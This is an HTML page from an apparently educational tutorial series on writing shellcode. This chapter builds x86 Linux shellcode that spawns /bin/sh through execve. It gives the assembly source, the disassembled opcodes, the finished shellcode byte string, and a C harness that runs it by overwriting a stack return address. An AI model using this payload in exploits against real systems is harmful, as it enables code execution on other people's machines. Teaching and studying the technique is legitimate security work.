Repository navigation
Expand file tree
/
Copy pathshellcode5.html
More file actions
278 lines (220 loc) · 12.5 KB
/
Copy pathshellcode5.html
File metadata and controls
278 lines (220 loc) · 12.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta name="resource-type" content="document" />
<meta name="keywords" content="kernel,panic,OpenBSD,Linux,shellcode,x86,IA32,intel,security,docs" />
<meta name="distribution" content="global" />
<meta name="author" content="Daniele Mazzocchio" />
<meta name="copyright" content="This document copyright 2005-2006 by Kernel-Panic.it." />
<title>Writing shellcode for Linux and *BSD - Spawning a shell</title>
<link rel="stylesheet" type="text/css" href="../../css/docs.css" />
<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />
</head>
<body>
<div class="navigation">
<ul>
<li class="prev"><a class="nav-list" href="shellcode4.html"><span>Previous</span></a></li>
<li class="up"><a class="nav-list" href="index.html"><span>Up</span></a></li>
<li class="next"><a class="nav-list" href="shellcode6.html"><span>Next</span></a></li>
<li class="home"><a class="nav-list" href="../../index.html"><span>Home</span></a></li>
</ul>
<h3>Writing shellcode for Linux and *BSD</h3>
<div>Previous: <a href="shellcode4.html">4. Writing the shellcode</a>
Up: <a href="index.html">Table of contents</a>
Next: <a href="shellcode6.html">6. Shellcode analysis</a>
</div>
</div>
<hr />
<h2>5. Spawning a shell</h2>
<p>Now it's time to write a shellcode to do something a little more useful. For instance, we can write a shellcode to spawn a shell (<tt>/bin/sh</tt>) and eventually exit cleanly. The simplest way to spawn a shell is using the <tt>execve(2)</tt> syscall. Let's take a look at its usage from its man page:</p>
<div class="code">
<div>man 2 execve</div>
<pre>
EXECVE(2) Linux Programmer's Manual EXECVE(2)
NAME
execve - execute program
SYNOPSIS
#include <unistd.h>
int execve(const char *filename, char *const argv [], char *const envp[]);
DESCRIPTION
execve() executes the program pointed to by filename. filename must be either a binary
executable, or a script starting with a line of the form "#! interpreter [arg]". In
the latter case, the interpreter must be a valid pathname for an executable which is
not itself a script, which will be invoked as interpreter [arg] filename.
argv is an array of argument strings passed to the new program. envp is an array of
strings, conventionally of the form key=value, which are passed as environment to the
new program. Both, argv and envp must be terminated by a null pointer. The argument
vector and environment can be accessed by the called program's main function, when it
is defined as int main(int argc, char *argv[], char *envp[]).
[...]
</pre>
</div>
<p>To recap, we need to pass it three arguments:</p>
<ol>
<li>a pointer to the name of the program to execute (in our case a pointer to the string "/bin/sh");</li>
<li>a pointer to an array of strings to pass as arguments to the program (the first argument must be <tt>argv[0]</tt>, i.e. the name of the program itself). The last element of the array must be a null pointer;</li>
<li>a pointer to an array of strings to pass as environment to the program. These strings are usually in the form "key=value" and the last element must be a null pointer.</li>
</ol>
<p>Therefore, spawning a shell from a C program looks like:</p>
<div class="code">
<div>get_shell.c</div>
<pre>
#include <unistd.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL;
execve(args[0], args, NULL);
}
</pre>
</div>
<p>In the above example we passed to <tt>execve(2)</tt>:</p>
<ol>
<li>a pointer to the string "/bin/sh";</li>
<li>an array of two pointers (the first pointing to the string "/bin/sh" and the second null);</li>
<li>a null pointer (we don't need any environment variables).</li>
</ol>
<p>Now let's build it and see it work:</p>
<div class="code">
<pre>
$ <kbd>gcc -o get_shell get_shell.c</kbd>
$ <kbd>./get_shell</kbd>
sh-2.05b$ <kbd>exit</kbd>
$
</pre>
</div>
<p>Ok, we got our shell! Now let's see how to use this system call in assembler (since there are only three arguments, we can use registers). We immediately have to tackle two problems:</p>
<ul>
<li>the first is a well-known problem: we can't insert null bytes in the shellcode; but this time we can't help using them: for instance, the shellcode must contain the string "/bin/sh" and, in C, strings must be null-terminated. And we will even have to pass two null pointers among the arguments to <tt>execve(2)</tt>!</li>
<li>the second problem is finding the address of the string. Absolute memory addressing makes development much longer and harder, but, above all, it makes almost impossible to port the shellcode among different programs and distributions.</li>
</ul>
<p>To solve the first problem, we will make our shellcode able to put the null bytes in the right places at run-time. To solve the second problem, instead, we will use relative memory addressing.</p>
<p>The "classic" method to retrieve the address of the shellcode is to begin with a <tt>CALL</tt> instruction. The first thing a <tt>CALL</tt> instruction does is, in fact, pushing the address of the next byte onto the stack (to allow the <tt> RET</tt> instruction to insert this address in <tt>EIP</tt> upon return from the called function); then the execution jumps to the address specified by the parameter of the <tt>CALL</tt> instruction. This way we have obtained our starting point: the address of the first byte after the <tt>CALL</tt> is the last value on the stack and we can easily retrieve it with a <tt>POP</tt> instruction! Therefore, the overall structure of the shellcode will be:</p>
<div class="code">
<pre>
jmp short mycall ; Immediately jump to the call instruction
shellcode:
pop esi ; Store the address of "/bin/sh" in ESI
[...]
mycall:
call shellcode ; Push the address of the next byte onto the stack: the next
db "/bin/sh" ; byte is the beginning of the string "/bin/sh"
</pre>
</div>
<p>Let's see what it does:</p>
<ul>
<li>first of all, the shellcode jumps to the <tt>CALL</tt> instruction;</li>
<li>the <tt>CALL</tt> pushes onto the stack the address of the string "/bin/sh" (not null-terminated yet); <tt>DB</tt> is a directive (not an instruction) that simply defines (i.e. reserves and initializes) a sequence of bytes; now the execution jumps back to the beginning of the shellcode;</li>
<li>next, the address of the string is popped from the stack and stored in <tt>ESI</tt>. From now on, we will be able to refer to memory addresses with reference to the address of the string.</li>
</ul>
<p>Now we can fill the structure of the shellcode with something useful. Let's see, step by step, what it will have to do:</p>
<ol>
<li>zero out <tt>EAX</tt> in order to have some null bytes available;</li>
<li>terminate the string with a null byte, copying it from <tt>EAX</tt> (we will use the <tt>AL</tt> register);</li>
<li>setup the array <tt>ECX</tt> will have to point to; it will be made up of the address of the string and a null pointer. We will accomplish this by writing the address of the string (stored in <tt>ESI</tt>) in the first free bytes right below the string, followed by the null pointer (once again we will use the zeroes in <tt>EAX</tt>);</li>
<li>store the number of the syscall (0x0b) in <tt>EAX</tt>;</li>
<li>store the first argument to <tt>execve(2)</tt> (i.e. the address of the string, saved in <tt>ESI</tt>) in <tt>EBX</tt>;</li>
<li>store the address of the array in <tt>ECX</tt> (<tt>ESI</tt>+8);</li>
<li>store the address of the null pointer in <tt>EDX</tt> (<tt>ESI</tt>+12);</li>
<li>execute the interrupt 0x80.</li>
</ol>
<p>This is the resulting assenbly code:</p>
<div class="code">
<div>get_shell.asm</div>
<pre>
jmp short mycall ; Immediately jump to the call instruction
shellcode:
pop esi ; Store the address of "/bin/sh" in ESI
xor eax, eax ; Zero out EAX
mov byte [esi + 7], al ; Write the null byte at the end of the string
mov dword [esi + 8], esi ; [ESI+8], i.e. the memory immediately below the string
; "/bin/sh", will contain the array pointed to by the
; second argument of execve(2); therefore we store in
; [ESI+8] the address of the string...
mov dword [esi + 12], eax ; ...and in [ESI+12] the NULL pointer (EAX is 0)
mov al, 0xb ; Store the number of the syscall (11) in EAX
lea ebx, [esi] ; Copy the address of the string in EBX
lea ecx, [esi + 8] ; Second argument to execve(2)
lea edx, [esi + 12] ; Third argument to execve(2) (NULL pointer)
int 0x80 ; Execute the system call
mycall:
call shellcode ; Push the address of "/bin/sh" onto the stack
db "/bin/sh"
</pre>
</div>
<p>Now let's extract the opcodes:</p>
<div class="code">
<pre>
$ <kbd>nasm -f elf get_shell.asm</kbd>
$ <kbd>ojdump -d get_shell.o</kbd>
get_shell.o: file format elf32-i386
Disassembly of section .text:
00000000 <shellcode-0x2>:
0: eb 18 jmp 1a <mycall>
00000002 <shellcode>:
2: 5e pop %esi
3: 31 c0 xor %eax,%eax
5: 88 46 07 mov %al,0x7(%esi)
8: 89 76 08 mov %esi,0x8(%esi)
b: 89 46 0c mov %eax,0xc(%esi)
e: b0 0b mov $0xb,%al
10: 8d 1e lea (%esi),%ebx
12: 8d 4e 08 lea 0x8(%esi),%ecx
15: 8d 56 0c lea 0xc(%esi),%edx
18: cd 80 int $0x80
0000001a <mycall>:
1a: e8 e3 ff ff ff call 2 <shellcode>
1f: 2f das
20: 62 69 6e bound %ebp,0x6e(%ecx)
23: 2f das
24: 73 68 jae 8e <mycall+0x74>
$
</pre>
</div>
<p>insert them in the C program:</p>
<div class="code">
<div>get_shell.c</div>
<pre>
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46"
"\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
</pre>
</div>
<p>
and test it:
</p>
<div class="code">
<pre>
$ <kbd>gcc -o get_shell get_shell.c</kbd>
$ <kbd>./get_shell</kbd>
sh-2.05b$ <kbd>exit</kbd>
$
</pre>
</div>
<hr />
<div class="navigation">
<ul>
<li class="prev"><a class="nav-list" href="shellcode4.html"><span>Previous</span></a></li>
<li class="up"><a class="nav-list" href="index.html"><span>Up</span></a></li>
<li class="next"><a class="nav-list" href="shellcode6.html"><span>Next</span></a></li>
<li class="home"><a class="nav-list" href="../../index.html"><span>Home</span></a></li>
</ul>
<h3>Writing shellcode for Linux and *BSD</h3>
<div>Previous: <a href="shellcode4.html">4. Writing the shellcode</a>
Up: <a href="index.html">Table of contents</a>
Next: <a href="shellcode6.html">6. Shellcode analysis</a>
</div>
</div>
<script type="text/javascript">var sc_project=873554, sc_invisible=1, sc_partition=7, sc_security="03daa6ce";</script>
<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script>
<noscript><div class="statcounter"><a class="statcounter" href="http://www.statcounter.com/"><img class="statcounter" src="http://c8.statcounter.com/counter.php?sc_project=873554&java=0&security=03daa6ce&invisible=1" alt="counter" /></a></div></noscript>
</body>
</html>